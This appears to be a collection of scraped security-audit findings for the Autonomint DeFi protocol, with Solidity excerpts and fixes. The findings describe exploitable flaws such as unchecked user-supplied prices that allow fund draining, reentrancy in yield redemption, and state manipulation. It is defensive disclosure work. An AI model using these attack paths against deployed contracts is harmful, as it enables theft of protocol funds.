, treasury.updateAbondUSDaPool
is called instead of treasury.updateUSDaGainedFromLiquidation(usdaToTransfer, true)
borrowLiquidation.liquidationType1
BorrowLib.redeemYields
Treasury.updateAbondUSDaPool
Treasury.updateUSDaGainedFromLiquidation
function liquidationType1( address user, uint64 index, uint64 currentEthPrice, uint256 lastCumulativeRate ) internal returns (CDSInterface.LiquidationInfo memory liquidationInfo) { ////////////////////////////////////// ///////////////////////////////////// // Calculate borrower's debt uint256 borrowerDebt = ((depositDetail.normalizedAmount * lastCumulativeRate) / BorrowLib.RATE_PRECISION); uint128 returnToTreasury = uint128(borrowerDebt); // 20% to abond usda pool uint128 returnToAbond = BorrowLib.calculateReturnToAbond(depositDetail.depositedAmountInETH, depositDetail.ethPriceAtDeposit, returnToTreasury); @> treasury.updateAbondUSDaPool(returnToAbond, true); ////////////////////////////////////// ///////////////////////////////////// } function redeemYields( address user, uint128 aBondAmount, address usdaAddress, address abondAddress, address treasuryAddress, address borrow ) public returns (uint256) { // check abond amount is non zewro if (aBondAmount == 0) revert IBorrowing.Borrow_NeedsMoreThanZero(); IABONDToken abond = IABONDToken(abondAddress); // get user abond state State memory userState = abond.userStates(user); // check user have enough abond if (aBondAmount > userState.aBondBalance) revert IBorrowing.Borrow_InsufficientBalance(); ITreasury treasury = ITreasury(treasuryAddress); // calculate abond usda ratio uint128 usdaToAbondRatio = uint128((treasury.abondUSDaPool() * RATE_PRECISION) / abond.totalSupply()); uint256 usdaToBurn = (usdaToAbondRatio * aBondAmount) / RATE_PRECISION; // update abondUsdaPool in treasury treasury.updateAbondUSDaPool(usdaToBurn, false); // calculate abond usda ratio from liquidation @> uint128 usdaToAbondRatioLiq = uint128((treasury.usdaGainedFromLiquidation() * RATE_PRECISION) /abond.totalSupply()); @> uint256 usdaToTransfer = (usdaToAbondRatioLiq * aBondAmount) / RATE_PRECISION; //update usdaGainedFromLiquidation in treasury treasury.updateUSDaGainedFromLiquidation(usdaToTransfer, false); ////////////////////////////////////// ///////////////////////////////////// } function updateAbondUSDaPool( uint256 amount, bool operation) external onlyCoreContracts { require(amount != 0, "Treasury:Amount should not be zero"); if (operation) { abondUSDaPool += amount; } else { abondUSDaPool -= amount; } } function updateUSDaGainedFromLiquidation( uint256 amount, bool operation) external onlyCoreContracts { if (operation) { usdaGainedFromLiquidation += amount; } else { usdaGainedFromLiquidation -= amount; } }
updateUSDaGainedFromLiquidation(usdaToTransfer, true)
is not done, so the yeild gained from liquidation is updated to abondUSDaPool
. Broken core contains the wrong functionality. Yield from liquidation will always be == 0
No response
call updateUSDaGainedFromLiquidation(usdaToTransfer, true)
instead of updateAbondUSDaPool
call on borrowLiquidation.liquidationType1
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1038
0x23r0, 0x37, 0xAristos, 0xGondar, 0xNirix, 0xRaz, 0xTamayo, 0xbakeng, 0xloophole, Abhan1041, Audinarey, DDYYWW, EmreAy24, IzuMan, John44, Kirkeelee, LZ_security, LordAlive, OrangeSantra, ParthMandale, PeterSR, RampageAudit, Waydou, dgnnn, dimah7, durov, elolpuer, futureHack, gss1, influenz, itcruiser00, jah, montecristo, newspacexyz, nuthan2x, pashap9990, rahim7x, santiellena, smbv-1923, super_jack, t.aksoy, theweb3mechanic, valuevalk, vatsal, volodya, wellbyt3
In the redeemUSDT
function of the CDS contract, the USDA and USDT prices are supplied by the user without any validation for accuracy. This lack of verification allows an attacker to input fraudulent USDA-USDT prices, enabling them to withdraw more USDT than they are entitled to, which could result in the draining of the protocol's funds.
No response
No response
An attacker can exploit the redeemUSDT
function of the CDS contract by providing incorrect USDA and USDT prices as parameters. The function calculates the USDT value based on these user-provided inputs, and since there is no validation of their accuracy, the attacker can manipulate the values. This allows the attacker to receive an inflated amount of USDT, potentially draining the protocol’s funds.
The attacker can drain the protocol’s funds by providing incorrect USDA and USDT prices, exploiting the lack of price validation in the redeemUSDT
function. This allows the attacker to withdraw more USDT than intended, leading to a loss of funds for the protocol.
No response
The protocol should not rely on user-inputted prices and instead utilize oracle prices for price validation. This would ensure that the USDA and USDT prices used in the redeemUSDT
function are accurate and prevent attackers from exploiting incorrect price inputs to drain the protocol’s funds.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1039
0x23r0, 0x37, 0x73696d616f, DDYYWW, LordAlive, Pablo, ParthMandale, PeterSR, durov, futureHack, gss1, influenz, newspacexyz, nuthan2x, pashap9990, santiellena, t.aksoy, tedox, volodya, wellbyt3
The strikePrice
and strikePercent
are important parameters in the Borrowing::depositTokens function, which are passed to the BorrowLib::deposit
function for option fee calculations. As the strikePercent
increases, from 5% to 25%, the option fees decrease, while the potential for greater gains on strikePrice
increases. A lower strikePercent
, such as 5%, has a higher probability of generating returns due to the higher likelihood of ETH moving by 5%.
However, there is no validation to ensure that the strikePrice
is logically consistent with the strikePercent
. Malicious actors could exploit this by selecting a high strikePercent
(e.g., 25%), thus paying lower option fees, and simultaneously selecting a low strikePrice
(e.g., 5%), allowing them to benefit from the lower strike price associated with a smaller strikePercent. This mismatch can result in financial losses for the protocol.
The issue arises from the lack of a validation check to ensure that the strikePrice
aligns with the chosen strikePercent
.
No response
The value of the collateral asset must increase by at least given 5% from its deposit value by the time of withdrawal.
strikePercent
and strikePrice
, even if they are not logically consistent.strikePercent
(e.g., 25%) and selects a low strikePrice
(e.g., 5% higher than the deposited amount), resulting in low option fees but benefiting from the higher gains that should correspond to a lower strikePercent
.strikePercent
and low strikePrice
allows the attacker to benefit from the returns typically associated with a lower strikePercent
, causing an unfair advantage and financial losses for the protocol.The strike price gains are calculated during withdrawal.
The absence of proper checks allows users to input inconsistent strikePercent
and strikePrice
values. This leads to reduced option fees while securing gains that should be restricted to lower strikePercent
values, causing financial losses to the protocol. It also negatively impacts the calculation of upsideToDeduct, leading to a lower deduction than intended.
No response
To prevent exploitation, ensure that the strikePercent
and strikePrice
are validated against each other at the time of deposit. The following check can be applied:
treasury.updateYieldsFromLiquidatedLrts()
updates the yield in the current chain, but collateral may be in the other chainSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1052
0x73696d616f
treasury.updateYieldsFromLiquidatedLrts() updates the yield from liquidated collateral in the current chain, but this collateral could have been present in the other chain. As such, it will allow the protocol to withdrawal yields that it should not in the current chain, which means other deposited collateral may not be withdrawn due to having been allocated as yield instead.
In CDSLib::667
, the treasury is updated with liquidated collateral yield, but this yield may be present in the other chain.
None.
None.
Lack of funds in chain A, leading to DoSed withdrawals.
None.
The yields should always be set in the chain that the liquidation happened and the collateral is held.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/60
0xbakeng, Cybrid, valuevalk
The lock-in period option set during deposit, for dCDS users is not enforced when trying to withdraw.
As it can be seen from the docs https://docs.autonomint.com/autonomint/blockchain-docs/core-contracts/cds#deposit
and the deposit function there is a param called lockingPeriod, which the user can use to specify/make a longer locking period, with a minimum of 1 month by requirement.
function deposit( uint128 usdtAmount, uint128 usdaAmount, bool liquidate, uint128 liquidationAmount, uint128 lockingPeriod ) payable
lockingPeriod | uint128 | How long the user is willing to stay deposited in the protocol.
However, currently it's just set during deposit in CDSLib.sol#L534 but later is not enforced when withdrawing.
This could also be seen from the frontend
A longer lockingperiod could be specified:
https://docs.autonomint.com/autonomint/autonomint-1/guides/how-to/dcds-interface
The option will not work, as the value set during a deposit won't be used and the user could withdraw earlier.
Enforce that value upon withdrawing.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/69
0x37, John44, valuevalk
When performing a dCDS withdrawal, if the user has opted in for liquidations, there are cases where we need to retrieve collateral (ETH/rsETH or other) from another chain. However, the protocol attempts to wrap the wrsETH
before it has been received, causing the transaction to revert.
In the case of liquidation opt-in for a dCDS depositor, we may need to retrieve ETH from another chain. This situation occurs when liquidations happen on a different chain, and the collateral retrieved from them is stored there.
In CDSLib.sol
, the liquidation calculation logic is implemented here - CDSLib.sol#L624-L777.
The issue arises because the protocol attempts to wrap the funds in the treasury before they have been received, leading to a transaction revert.
interfaces.globalVariables.oftOrCollateralReceiveFromOtherChains{value: msg.value - params.fee}( IGlobalVariables.FunctionToDo( // Call getLzFunctionToDo in cds library to get, which action needs to do in dst chain getLzFunctionToDo(params.optionsFeesToGetFromOtherChain, collateralToGetFromOtherChain) ), IGlobalVariables.USDaOftTransferData( address(interfaces.treasury), params.optionsFeesToGetFromOtherChain ), IGlobalVariables.CollateralTokenTransferData( address(interfaces.treasury) ethAmountFromOtherChain, weETHAmountFromOtherChain, rsETHAmountFromOtherChain ), IGlobalVariables.CallingFunction.CDS_WITHDRAW, msg.sender ); if (rsETHAmountFromOtherChain > 0) { //@audit-issue this is incorrect. Its not yet received, and we wrap it here? @>> interfaces.treasury.wrapRsETH(rsETHAmountFromOtherChain); }
LayerZero needs technical time to process the transaction, send it to the other chain, and wait for the other chain to respond and send the requesting chain the collateral.
Liquidations for rsETH
have occurred on the other chain, and there are not enough rsETH
resources on the current chain to cover the share of rsETH
owed to the dCDS user depositor.
A normal dCDS depositor attempts to withdraw their position, which is opted-in for liquidations.
The transaction reverts, resulting in the inability to withdraw funds from the dCDS.
Avoid wrapping the rsETH
before receiving it.
liquidateBorrowPosition
on MODE chainSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/131
John44, nuthan2x, valuevalk
borrowLiquidation.liquidateBorrowPosition is done via liquidationType1
with CDS pool, or via liquidationType2
on synthetix. According to team, the liquidationType2
is chosen if liquidationType1
reverts when USDa in CDS is not enough to liquidate, ex: during omniChainData.totalAvailableLiquidationAmount < liquidationAmountNeeded
In these cases, the liquidationType2
is used to liquidate. But synthetix protocol isn't there on MODE. Hence liquidations fail. There will be DOS till USDa is available on CDS.
liquidationType2
is possible only Optimism and not possible on MODE due to the absence of synthetix protocol on MODE. so liquidationType2 will revert.
when USDa in CDS isn't enough to cover the liquidation, so liquidationType2
has to be chosen
liquidation happening on MODE chain
A user's position should be liquidated so, admin calls liquidateBorrowPosition
via borrowing contract. Since, the USDa amount on CDS is low enough, we can't choose type 1 liquidation due to a strict revert check. So, type 2 is chosen to short on synthetix, but it will revert due to the absence of synthetix protocol on MODE
borrowLiquidation.liquidateBorrowPosition
function liquidateBorrowPosition( address user, uint64 index, uint64 currentEthPrice, IBorrowing.LiquidationType liquidationType, uint256 lastCumulativeRate ) external payable onlyBorrowingContract returns (CDSInterface.LiquidationInfo memory liquidationInfo) { //? Based on liquidationType do the liquidation // Type 1: Liquidation through CDS if (liquidationType == IBorrowing.LiquidationType.ONE) { @> return liquidationType1(user, index, currentEthPrice, lastCumulativeRate); // Type 2: Liquidation by taking short position in synthetix with 1x leverage } else if (liquidationType == IBorrowing.LiquidationType.TWO) { @> liquidationType2(user, index, currentEthPrice); } } function liquidationType2( address user, uint64 index, uint64 currentEthPrice ) internal { ////////////////////////////////////// ///////////////////////////////////// // Mint sETH wrapper.mint(amount); // Exchange sETH with sUSD @> synthetix.exchange( 0x7345544800000000000000000000000000000000000000000000000000000000, amount, 0x7355534400000000000000000000000000000000000000000000000000000000 ); // Calculate the margin int256 margin = int256((amount * currentEthPrice) / 100); // Transfer the margin to synthetix synthetixPerpsV2.transferMargin(margin); // Submit an offchain delayed order in synthetix for short position with 1X leverage synthetixPerpsV2.submitOffchainDelayedOrder( -int((uint(margin * 1 ether * 1e16) / currentEthPrice)), currentEthPrice * 1e16 ); } function liquidationType1( address user, uint64 index, uint64 currentEthPrice, uint256 lastCumulativeRate ) internal returns (CDSInterface.LiquidationInfo memory liquidationInfo) { ////////////////////////////////////// ///////////////////////////////////// // Calculate borrower's debt uint256 borrowerDebt = ((depositDetail.normalizedAmount * lastCumulativeRate) / BorrowLib.RATE_PRECISION); uint128 returnToTreasury = uint128(borrowerDebt); // 20% to abond usda pool uint128 returnToAbond = BorrowLib.calculateReturnToAbond(depositDetail.depositedAmountInETH, depositDetail.ethPriceAtDeposit, returnToTreasury); treasury.updateAbondUSDaPool(returnToAbond, true); // Calculate the CDS profits uint128 cdsProfits = (((depositDetail.depositedAmountInETH * depositDetail.ethPriceAtDeposit) / BorrowLib.USDA_PRECISION) / 100) - returnToTreasury - returnToAbond; // Liquidation amount in usda needed for liquidation uint128 liquidationAmountNeeded = returnToTreasury + returnToAbond; // Check whether the cds have enough usda for liquidation @> require(omniChainData.totalAvailableLiquidationAmount >= liquidationAmountNeeded, "Don't have enough USDa in CDS to liquidate"); ////////////////////////////////////// ///////////////////////////////////// return liquidationInfo; }
DOS to liquidations on MODE chain, due to reverts of both liquidationType1
and liquidationType2
. Liquidation is an important part of system, so DOSing it under conditions like low USDa amount on CDS
will be an issue.
No response
If liquidationType1 reverts due to lack of USDa, then implement type 3 on mode network to integrate with a fork/similar protocol like synthetix allows to Liquidate the position by taking short position
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/173
valuevalk
The lack of slippage protection when exchanging assets on Synthetix can result in bricking the liquidation process for a borrower.
As it can be seen from the synthetix repo and from the interface we have in autonomint:
When calling exchange()
in liquidationType2
when doing liquidation in borrowingLiquidations.sol
synthetix.exchange( 0x7345544800000000000000000000000000000000000000000000000000000000, amount, 0x7355534400000000000000000000000000000000000000000000000000000000 );
we are supposed to get back the amount received:
interface ISynthetix { function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey @>> ) external returns (uint amountReceived); }
as with every dex, its almost certain amountReceived != amount
, it could be a very little difference, but it would be a difference, which is enough to break next parts of our code:
// Exchange sETH with sUSD synthetix.exchange( 0x7345544800000000000000000000000000000000000000000000000000000000, amount, 0x7355534400000000000000000000000000000000000000000000000000000000 ); // Calculate the margin @>> int256 margin = int256((amount * currentEthPrice) / 100); // Transfer the margin to synthetix @>> synthetixPerpsV2.transferMargin(margin);
After exchanging the sETH
and receiving sUSD
, the amount of margin to be transferred to synthetixPerpsV2
is calculated based on the exact amount of ETH
exchanged. However, if slightly less sUSD
is received due to slippage, there won't be enough margin, and the transaction will revert when calling synthetixPerpsV2.transferMargin(margin)
.
No response
No response
LiquidationType2
is supposed to be called by an admin.LiquidationType2
unavailable.Use the returned amountReceived
and apply slippage protection with a small deviation, such as 0–0.5%.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/198
0x73696d616f, Audinarey, valuevalk
During liquidation only record yield accrued from IONIC, however those yields are not utilized/there is no way to withdraw them.
The case where we update treasury.updateInterestFromExternalProtocol
we use treasury.withdrawFromExternalProtocolDuringLiq(user, index)
, which essentially gives us only the extra yield accrued:
function withdrawFromExternalProtocolDuringLiq(address user, uint64 index) external onlyCoreContracts returns (uint256) { uint256 balanceBeforeWithdraw = address(this).balance; uint256 redeemAmount = withdrawFromIonicDuringLiq(user, index); if (address(this).balance < redeemAmount + balanceBeforeWithdraw) { revert Treasury_WithdrawExternalProtocolDuringLiqFailed(); } @>> return (redeemAmount - (borrowing[user].depositDetails[index].depositedAmount * 50) / 100); }
Reference during liquidation:
// Update treasury data treasury.updateTotalVolumeOfBorrowersAmountinWei(depositDetail.depositedAmountInETH); treasury.updateTotalVolumeOfBorrowersAmountinUSD(depositDetail.depositedAmountUsdValue); treasury.updateDepositedCollateralAmountInWei(depositDetail.assetName, depositDetail.depositedAmountInETH); treasury.updateDepositedCollateralAmountInUsd(depositDetail.assetName, depositDetail.depositedAmountUsdValue); @>> treasury.updateTotalInterestFromLiquidation(totalInterestFromLiquidation); treasury.updateYieldsFromLiquidatedLrts(yields); treasury.updateDepositDetails(user, index, depositDetail); globalVariables.updateCollateralData(depositDetail.assetName, collateralData); globalVariables.setOmniChainData(omniChainData); // If the liquidation amount to get from other is greater than zero, // Get the amount from other chain. if (liqAmountToGetFromOtherChain > 0) { // Call the oftOrCollateralReceiveFromOtherChains function in global variables globalVariables.oftOrCollateralReceiveFromOtherChains{value: msg.value}( IGlobalVariables.FunctionToDo(3), IGlobalVariables.USDaOftTransferData(address(treasury), liqAmountToGetFromOtherChain), // Since we don't need ETH, we have passed zero params IGlobalVariables.CollateralTokenTransferData(address(0), 0, 0, 0), IGlobalVariables.CallingFunction.BORROW_LIQ, admin ); } // If the collateral is ETH, withdraw the deposited ETH in external protocol if (depositDetail.assetName == IBorrowing.AssetName.ETH) { @>> treasury.updateInterestFromExternalProtocol(treasury.withdrawFromExternalProtocolDuringLiq(user, index)); }
As it can be seen above updateTotalInterestFromLiquidation
is also updated, but we have a way to withdraw it in Treasury.sol:
function withdrawInterest( address toAddress, uint256 amount ) external onlyOwner { require(toAddress != address(0) && amount != 0,"Input address or amount is invalid"); require(amount <= (totalInterest + totalInterestFromLiquidation),"Treasury don't have enough interest"); totalInterest -= amount; bool sent = usda.transfer(toAddress, amount); require(sent, "Failed to send Ether"); }
As mentioned unfortunately we don't handle the yield from IONIC in any way, as the interestFromExternalProtocolDuringLiquidation
property in Treasury.sol
is unused:
function updateInterestFromExternalProtocol(uint256 amount) external onlyCoreContracts { interestFromExternalProtocolDuringLiquidation += amount; }
Either integrate a way to use the yield from IONIC, or a way to be withdrawn.
omniChainData.cdsPoolValue
by breaking protocol.Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/263
0x37, 0x73696d616f, 0xAristos, CL001, Pablo, RampageAudit, almurhasan, gss1, newspacexyz, nuthan2x, onthehunt, super_jack, theweb3mechanic, tjonair, volodya
Missing update of lastEthprice
in borrowing.sol#depositTokens()
will cause manipulation of omniChainData.cdsPoolValue
as an attaker replays borrowing.sol#depositTokens()
by breaking protocol.
borrowing.sol#depositTokens()
, lastEthprice
is not updated.function depositTokens( BorrowDepositParams memory depositParam ) external payable nonReentrant whenNotPaused(IMultiSign.Functions(0)) { // Assign options for lz contract, here the gas is hardcoded as 400000, we got this through testing by iteration bytes memory _options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(400000, 0); // calculting fee MessagingFee memory fee = globalVariables.quote( IGlobalVariables.FunctionToDo(1), depositParam.assetName, _options, false ); // Get the exchange rate for a collateral and eth price (uint128 exchangeRate, uint128 ethPrice) = getUSDValue(assetAddress[depositParam.assetName]); totalNormalizedAmount = BorrowLib.deposit( BorrowLibDeposit_Params( LTV, APR, lastCumulativeRate, totalNormalizedAmount, exchangeRate, ethPrice, lastEthprice ), depositParam, Interfaces(treasury, globalVariables, usda, abond, cds, options), assetAddress ); //Call calculateCumulativeRate() to get currentCumulativeRate calculateCumulativeRate(); lastEventTime = uint128(block.timestamp); // Calling Omnichain send function globalVariables.send{value: fee.nativeFee}( IGlobalVariables.FunctionToDo(1), depositParam.assetName, fee, _options, msg.sender ); }
(ratio, omniChainData) = calculateRatio( params.depositingAmount, uint128(libParams.ethPrice), libParams.lastEthprice, omniChainData.totalNoOfDepositIndices, omniChainData.totalVolumeOfBorrowersAmountinWei, omniChainData.totalCdsDepositedAmount - omniChainData.downsideProtected, omniChainData ); // Check whether the cds have enough funds to give downside prottection to borrower if (ratio < (2 * RATIO_PRECISION)) revert IBorrowing.Borrow_NotEnoughFundInCDS();
BorrowLib.sol#calculateRatio()
, cdsPoolValue is updated by difference between lastEthprice and currentEthprice.function calculateRatio( uint256 amount, uint128 currentEthPrice, uint128 lastEthprice, uint256 noOfDeposits, uint256 totalCollateralInETH, uint256 latestTotalCDSPool, IGlobalVariables.OmniChainData memory previousData ) public pure returns (uint64, IGlobalVariables.OmniChainData memory) { uint256 netPLCdsPool; // Calculate net P/L of CDS Pool // if the current eth price is high if (currentEthPrice > lastEthprice) { // profit, multiply the price difference with total collateral @> netPLCdsPool = (((currentEthPrice - lastEthprice) * totalCollateralInETH) / USDA_PRECISION) / 100; } else { // loss, multiply the price difference with total collateral @> netPLCdsPool = (((lastEthprice - currentEthPrice) * totalCollateralInETH) / USDA_PRECISION) / 100; } uint256 currentVaultValue; uint256 currentCDSPoolValue; // Check it is the first deposit if (noOfDeposits == 0) { // Calculate the ethVault value previousData.vaultValue = amount * currentEthPrice; // Set the currentEthVaultValue to lastEthVaultValue for next deposit currentVaultValue = previousData.vaultValue; // Get the total amount in CDS // lastTotalCDSPool = cds.totalCdsDepositedAmount(); previousData.totalCDSPool = latestTotalCDSPool; // BAsed on the eth prices, add or sub, profit and loss respectively if (currentEthPrice >= lastEthprice) { @> currentCDSPoolValue = previousData.totalCDSPool + netPLCdsPool; } else { @> currentCDSPoolValue = previousData.totalCDSPool - netPLCdsPool; } // Set the currentCDSPoolValue to lastCDSPoolValue for next deposit @> previousData.cdsPoolValue = currentCDSPoolValue; @> currentCDSPoolValue = currentCDSPoolValue * USDA_PRECISION; } else { // find current vault value by adding current depositing amount currentVaultValue = previousData.vaultValue + (amount * currentEthPrice); previousData.vaultValue = currentVaultValue; // BAsed on the eth prices, add or sub, profit and loss respectively if (currentEthPrice >= lastEthprice) { previousData.cdsPoolValue += netPLCdsPool; } else { previousData.cdsPoolValue -= netPLCdsPool; } @> previousData.totalCDSPool = latestTotalCDSPool; @> currentCDSPoolValue = previousData.cdsPoolValue * USDA_PRECISION; } // Calculate ratio by dividing currentEthVaultValue by currentCDSPoolValue, // since it may return in decimals we multiply it by 1e6 @> uint64 ratio = uint64((currentCDSPoolValue * CUMULATIVE_PRECISION) / currentVaultValue); return (ratio, previousData); }
No response
Eth price changed a little from borrowing.sol#lastEthprice.
We say that current ratio is bigger than 2 * RATIO_PRECISION
.
An attaker continues to replay borrowing.sol#depositTokens
.
Then, omniChainData.cdsPoolValue
continues to be increased or decreased.
In case of increasing, cdsPoolValue
can be much bigger than normal. Then, borrowing is allowed even if protocol is really under water.
In case of decreasing, cdsPoolValue
can be decreased so that ratio is small enough to touch (2 * RATIO_PRECISION)
. Then, borrowing can be DOSed even if cds have enough funds. And withdrawal from CDS can be DOSed.
No response
borrowing.sol#depositTokens()
function has to be modified as follows.
function depositTokens( BorrowDepositParams memory depositParam ) external payable nonReentrant whenNotPaused(IMultiSign.Functions(0)) { // Assign options for lz contract, here the gas is hardcoded as 400000, we got this through testing by iteration bytes memory _options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(400000, 0); // calculting fee MessagingFee memory fee = globalVariables.quote( IGlobalVariables.FunctionToDo(1), depositParam.assetName, _options, false ); // Get the exchange rate for a collateral and eth price (uint128 exchangeRate, uint128 ethPrice) = getUSDValue(assetAddress[depositParam.assetName]); totalNormalizedAmount = BorrowLib.deposit( BorrowLibDeposit_Params( LTV, APR, lastCumulativeRate, totalNormalizedAmount, exchangeRate, ethPrice, lastEthprice ), depositParam, Interfaces(treasury, globalVariables, usda, abond, cds, options), assetAddress ); //Call calculateCumulativeRate() to get currentCumulativeRate calculateCumulativeRate(); lastEventTime = uint128(block.timestamp); ++ lastEthprice = ethPrice; // Calling Omnichain send function globalVariables.send{value: fee.nativeFee}( IGlobalVariables.FunctionToDo(1), depositParam.assetName, fee, _options, msg.sender ); }
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/351
almurhasan, volodya
when the function withdraw(borrowlib.sol) is called, vaultvalue is decreased from omniChainData.vaultValue but when the liquidate function(function liquidationType1) is called vaultvalue(liquidated collateral value) is not decreased from omniChainData.vaultValue. As a result, the cds/borrow ratio will always be less than the actual/real cds/borrow ratio.in some cases, new stable coins should be minted. But as vaultvalue is not decreased from omniChainData.vaultValue, so ratio(which is incorrect) is below 0.2(),now users can’t mint new stablecoin and cds users can’t withdraw.
when the liquidate function(function liquidationType1) is called vaultvalue is not decreased from omniChainData.vaultValue.
No response
No response
Let’s assume, currently omniChainData.cdsPoolValue = 350, omniChainData.vaultValue = 2000, so cds/borrow ratio = 350/2000 = 0.175(which is below 0.2, so new stablecoin can’t be minted).
now the liquidate function(function liquidationType1) is called where 400(this is just for example) vaultvalue worth of collateral are allocated for cds depositor but 400 vaultvalue is not decreased from omniChainData.vaultValue. See the function withdraw(borrowlib.sol) where vaultvalue is decreased from omniChainData.vaultValue when users withdraw.
let’s assume, liquidate amount is 20(this is just for example),so 20 is deducted from omniChainData.cdsPoolValue in liquidateType1 function, so current cds/borrow ratio is 350-20/2000 = 330/2000 = 0.16. But the actual cds/borrow ratio is 330/1600 = 0.206(as currently real omniChainData.vaultValue is = 2000-400 = 1600).
In the above example, as the cds/borrow ratio becomes 0.206 from 0.175, so new stable coin should be minted. But as vaultvalue is not decreased from omniChainData.vaultValue, so ratio is below 0.2(0.16),now users can’t mint new stablecoin and cds users can’t withdraw.
the cds/borrow ratio will always be less than the actual/real cds/borrow ratio.in some cases, new stable coin should be minted. But as vaultvalue is not decreased from omniChainData.vaultValue, so ratio(which is incorrect) is below 0.2(),now users can’t mint new stablecoin and cds users can’t withdraw.
No response
when the liquidate function(function liquidationType1) is called vaultvalue should be decreased from omniChainData.vaultValue
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/375
0x37, 0xAadi, CL001, Cybrid, John44
In withdraw, we should deduct depositedAmountInETH
not depositedAmount
from the totalVolumeOfBorrowersAmountinWei
.
When borrowers withdraw collateral, we will update totalVolumeOfBorrowersAmountinWei
.
The totalVolumeOfBorrowersAmountinWei
is the total collateral amount in term of Ether. When borrowers withdraw collateral, we should deduct the related amount in Ether from the totalVolumeOfBorrowersAmountinWei
.
The problem is that we use depositDetail.depositedAmount
. The depositDetail.depositedAmount
means this deposit's collateral amount, maybe Ether's amount, or WrsETH amount. This will cause that if this borrower's deposit asset is not Ether, e.g. WrsETH, we will deduct less amount from totalVolumeOfBorrowersAmountinWei
than expected.
This will cause all calculations related with totalVolumeOfBorrowersAmountinWei
will be incorrect.
omniChainData.totalVolumeOfBorrowersAmountinWei -= depositDetail.depositedAmount;
function deposit( IBorrowing.BorrowLibDeposit_Params memory libParams, IBorrowing.BorrowDepositParams memory params, IBorrowing.Interfaces memory interfaces, mapping(IBorrowing.AssetName => address assetAddress) storage assetAddress ) public returns (uint256) { uint256 depositingAmount = params.depositingAmount; ... depositDetail.depositedAmount = uint128(depositingAmount); }
N/A
N/A
N/A
After borrowers withdraw non-Ether collateral(weETH, wrsETH), the totalVolumeOfBorrowersAmountinWei
will be incorrect. This will cause all calculations related with totalVolumeOfBorrowersAmountinWei
will be incorrect.
For example:
cds's cumulativeValue will be calculated incorrectly.
CalculateValueResult memory result = _calculateCumulativeValue( omniChainData.totalVolumeOfBorrowersAmountinWei, omniChainData.totalCdsDepositedAmount, ethPrice // current ether price. );
CDS owners can get more or less than expected.
N/A
Deduct depositedAmountInETH
from totalVolumeOfBorrowersAmountinWei
when users withdraw collateral.
Treasury::withdrawFromExternalProtocol
during the Borrowing::redeemYields
flow allows theft of Treasury
ETHSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/408
santiellena
In Borrowing::redeemYields
there is a call to Treasury::withdrawFromExternalProtocol
, to withdraw the ETH that is backing the ABOND
that will be burned. That withdrawn ETH is sent in the middle of the execution of the transaction, without gas limit, and not following the Checks-Effects-Interactions pattern, letting the user
receiving the ETH reenter the same function to withdraw ETH several times but burning its ABOND
and updating its information just once.
In Borrowing::redeemYields
there is a call to Treasury::withdrawFromExternalProtocol
right before burning ABOND
from msg.sender
:
BorrowLib.sol#L978-L1036
function redeemYields( address user, uint128 aBondAmount, address usdaAddress, address abondAddress, address treasuryAddress, address borrow ) public returns (uint256) { // check abond amount is non zewro if (aBondAmount == 0) revert IBorrowing.Borrow_NeedsMoreThanZero(); IABONDToken abond = IABONDToken(abondAddress); // get user abond state State memory userState = abond.userStates(user); // check user have enough abond if (aBondAmount > userState.aBondBalance) revert IBorrowing.Borrow_InsufficientBalance(); ITreasury treasury = ITreasury(treasuryAddress); // calculate abond usda ratio uint128 usdaToAbondRatio = uint128((treasury.abondUSDaPool() * RATE_PRECISION) / abond.totalSupply()); uint256 usdaToBurn = (usdaToAbondRatio * aBondAmount) / RATE_PRECISION; // update abondUsdaPool in treasury treasury.updateAbondUSDaPool(usdaToBurn, false); // calculate abond usda ratio from liquidation uint128 usdaToAbondRatioLiq = uint128((treasury.usdaGainedFromLiquidation() * RATE_PRECISION) /abond.totalSupply()); uint256 usdaToTransfer = (usdaToAbondRatioLiq * aBondAmount) / RATE_PRECISION; //update usdaGainedFromLiquidation in treasury treasury.updateUSDaGainedFromLiquidation(usdaToTransfer, false); //Burn the usda from treasury treasury.approveTokens( IBorrowing.AssetName.USDa, borrow, (usdaToBurn + usdaToTransfer) ); IUSDa usda = IUSDa(usdaAddress); // burn the usda bool burned = usda.contractBurnFrom(address(treasury), usdaToBurn); if (!burned) revert IBorrowing.Borrow_BurnFailed(); if (usdaToTransfer > 0) { // transfer usda to user bool transferred = usda.contractTransferFrom( address(treasury), user, usdaToTransfer ); if (!transferred) revert IBorrowing.Borrow_TransferFailed(); } // withdraw eth from ext protocol uint256 withdrawAmount = treasury.withdrawFromExternalProtocol(user,aBondAmount); //Burn the abond from user bool success = abond.burnFromUser(msg.sender, aBondAmount); if (!success) revert IBorrowing.Borrow_BurnFailed(); return withdrawAmount; }
As it can be seen, USDa
is burned from Treasury
and sent to user
, and ETH is withdrawn from the external protocol, before ABOND
data is updated (meaning that user paid for the yield redeem). The ABOND
data is updated when the burning occurs.
Note that Borrowing::redeemYields
function does not have the nonReentrant
modifier:
borrowing.sol#L318-L333
function redeemYields( address user, uint128 aBondAmount ) public returns (uint256) { // Call redeemYields function in Borrow Library return ( BorrowLib.redeemYields( user, aBondAmount, address(usda), address(abond), address(treasury), address(this) ) ); }
The Treasury::withdrawFromExternalProtocol
function has an external call to the user
address to send the ETH calculated in Treasury::withdrawFromIonicByUser
, without a gas limit:
Treasury.sol#L283-L296
